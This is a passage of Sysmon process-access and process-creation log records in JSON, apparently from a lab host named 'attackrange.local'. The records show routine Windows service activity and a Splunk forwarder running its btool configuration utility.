648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2997,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2998,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-00104AFB0400}\r\nTargetProcessId: 4808\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-00104AFB0400}","TargetProcessId":"4808","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2999,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.390\r\nProcessGuid: {90617006-4078-5F2D-0000-001006FC0400}\r\nProcessId: 4848\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-4078-5F2D-0000-00104AFB0400}\r\nParentProcessId: 4808\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.390","ProcessGuid":"{90617006-4078-5F2D-0000-001006FC0400}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-4078-5F2D-0000-00104AFB0400}","ParentProcessId":"4808","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3000,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-4078-5F2D-0000-00104AFB0400}\r\nSourceProcessId: 4808\r\nSourceThreadId: 4840\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-001006FC0400}\r\nTargetProcessId: 4848\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-4078-5F2D-0000-00104AFB0400}","SourceProcessId":"4808","SourceThreadId":"4840","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-001006FC0400}","TargetProcessId":"4848","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3001,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-001006FC0400}\r\nTargetProcessId: 4848\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-001006FC0400}","TargetProcessId":"4848","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3002,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3003,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3004,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3005,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 